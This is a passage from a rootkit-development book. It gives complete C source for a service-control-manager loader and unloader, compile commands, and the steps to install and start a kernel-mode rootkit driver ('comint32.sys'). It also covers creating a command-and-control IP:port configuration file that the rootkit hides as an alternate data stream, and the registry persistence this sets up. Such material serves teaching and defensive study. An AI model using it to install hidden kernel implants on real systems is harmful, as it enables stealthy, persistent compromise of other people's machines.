Installing Your Rootkit

Unlike user applications, which are loaded and executed simultaneously, device drivers are loaded and started in two distinct steps. This two-step process enables the operating system to load some drivers early in the boot process and start them later. It also enables the loading process to accompany a registry entry that will cause the driver to be reloaded (and optionally started) during future boots.

Though most rootkits are designed to be loaded during the boot process and never unloaded, we will be using “demand start” loading, which allows for the loading and unloading of rootkits at any time. This is a very common practice during the development of device drivers, enabling the developer to stop, unload, rebuild, reload, and restart the driver between iterations, without the need to reboot the host machine.

For simplicity, this rootkit will be installed with a small executable. All the program needs to do is open the service control manager and load a kernel device driver.

Loading and unloading a device driver is shown in Figure 2-3.

Figure 2-3

SCMLoader.c

Here’s the code:

  // Copyright Ric Vieler, 2006 // This program will load c:\comint32.sys #include <windows.h> #include <stdio.h> #include <process.h> void main( int argc, char *argv[ ] ) {  SC_HANDLE sh1;  SC_HANDLE sh2;  sh1 = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );  if ( !sh1 )  {   printf( "OpenSCManager Failed!\n" );   return;  }  sh2 = CreateService( sh1,   "MyDeviceDriver",   "MyDeviceDriver",   SERVICE_ALL_ACCESS,   SERVICE_KERNEL_DRIVER,   SERVICE_DEMAND_START,   SERVICE_ERROR_NORMAL,   "c:\\comint32.sys",   NULL,   NULL,   NULL,   NULL,   NULL );  if ( !sh2 )  {   if ( GetLastError() == ERROR_SERVICE_EXISTS )    printf("DeviceDriver already loaded!\n");   else    printf("CreateService Failed!\n");  }  else  {   printf("\nDriver loaded!\n");  } } 

After the introduction to kernel mode programming, this “user mode” program should seem relatively simple. Feel free to add the location of the driver as a pass parameter so you won’t have to recompile for each new rootkit. For our purposes, simplicity is more important, so the name of our rootkit is hard-coded into the program.

If you have a working build environment, you can open a Command Prompt window and use that window to compile SCMLoader.c. Once you have configured your development environment, navigate to the directory containing SCMLoader.c and enter the following command to compile the program:

 cl -nologo -W3 -O2 SCMLoader.c /link /NOLOGO user32.lib advapi32.lib

If the preceding command does not successfully compile SCMLoader.exe, you may need to adjust your build environment. Most build environment problems can be resolved with the use of VCVARS32.BAT. If you search the directory where your C/C++ compiler was installed (usually under C:\Program Files), you will probably find a VCVARS32.BAT file. This file is used to set up a Command Prompt window for use with a specific compiler. If you copy the file to your rootkit directory and execute it before compiling, it will probably resolve any outstanding compiler issues.

Do not attempt to create a user build environment from a DDK build environment. The “Checked DDK” shortcut you created in Chapter 1 can only be used to build device drivers. Running VCVARS32.BAT from this environment will only corrupt the Command Prompt window, preventing any form of compilation.

If VCVARS32.BAT does not resolve all outstanding compiler issues, or you can’t find it, you will need to look at each compile and link error to determine the root cause of the problem. Errors beginning with “Can’t find” can be traced to global LIB and INCLUDE environment variables (i.e., “Can’t find xxx.lib = LIB” and “Can’t find xxx.h = INCLUDE”). You can search the directory where your C/C++ compiler was installed for files that can’t be located. Once located, you can modify your environment variables (LIB and INCLUDE) to include the paths to these files.

To modify environment variables, left-click Start (usually the bottom left button on your monitor) and from the pop-up menu, right-click My Computer. From the pop-up list, select Properties. From the Properties dialog, select the Advanced tab. From the Advanced tab, select the Environment Variables button. You should find both the LIB and INCLUDE variables in one of the lists (User Variables or System Variables). To modify either environment variable, double-click the entry and add the path to the discovered file. Remember to separate all path entries with a semicolon. Once all paths have been added, click OK to close each open window and save the new settings. Any open Command Prompt windows will have to be closed and reopened for the changes to take effect.

Once you’ve compiled successfully, you might want to put the compile command into a batch file. I call mine buildSCMLoader.bat.

If you’ve been following closely, you will have noticed that there is one more step before loading the rootkit: You still need to create the configuration file. Of course, the rootkit doesn’t do anything with this configuration except hide it as an alternate data stream, but it is a loading requirement.

You can use the command “echo 123.456.789.012:01234 > c:\config32” from a DOS Command Prompt window to create the necessary configuration file. Or you can use your own IP address and port 80 (e.g., 127.000.000.001:00080) to prepare for the chapter on tracking rootkits. In either case, the format must be the same. The current implementation of Ghost cannot process an unformatted IP/port string like “127.0.0.1:80.” Once you’ve built the loader and created the configuration file, all you need to do is move the rootkit to c:\comint32.sys, execute SCMLoader, and start the rootkit with the command “net start MyDeviceDriver.” If all goes well, you will see the output “Driver loaded!” If you have DebugView open, you should also see the comint32 debug commands from your rootkit.

Figure 2-4 shows loading and unloading the rootkit. Figure 2-5 shows DebugView output.

Figure 2-4

Figure 2-5

Congratulations! You now have your own rootkit loaded and running.

The loader, SCMLoader, created a registry entry that will cause your rootkit to be reloaded during the boot process. Fortunately, the rootkit was initialized with the demand start option, so it won’t be started until you enter the “net start MyDeviceDriver” command. You can stop the loading process by deleting the file c:\comint32.sys or by deleting the registry key HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\MyDeviceDriver. However, you won’t want to delete files or registry entries and reboot every time you make a change to the rootkit, so you will also need an unloader. The following file and the corresponding build command can be used to create SCMUnloader. Use SCMLoader and SCMUnloader (with “net start MyDeviceDriver” and “net stop MyDeviceDriver”) between iterations of comint32. In addition, remember that you can delete config32 after it has been read once; the rootkit will look for the alternate data stream when config32 is not present.

SCMUnloader.c

Here’s the SCMUnloader program:

  // Copyright Ric Vieler, 2006 // This program will unload c:\comint32.sys #include <windows.h> #include <stdio.h> #include <process.h> void main( int argc, char *argv[ ] ) {  SC_HANDLE sh1;  SC_HANDLE sh2;  SERVICE_STATUS ss;  sh1 = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );  if ( !sh1 )  {   printf( "OpenSCManager Failed!\n" );   return;  }  sh2 = OpenService(sh1,   "MyDeviceDriver",   SERVICE_ALL_ACCESS );  if ( !sh2 )  {   printf("OpenService Failed!\n");   CloseServiceHandle( sh1 );   exit(1);  }  ControlService( sh2, SERVICE_CONTROL_STOP, &ss );  if ( !DeleteService( sh2 ) )   printf("Could not unload MyDeviceDriver!\n");  else   printf("Unloaded MyDeviceDriver.\n");  CloseServiceHandle( sh2 );  CloseServiceHandle( sh1 ); } 

Here’s the build command:

  cl -nologo -W3 -O2 SCMUnloader.c /link /NOLOGO user32.lib advapi32.lib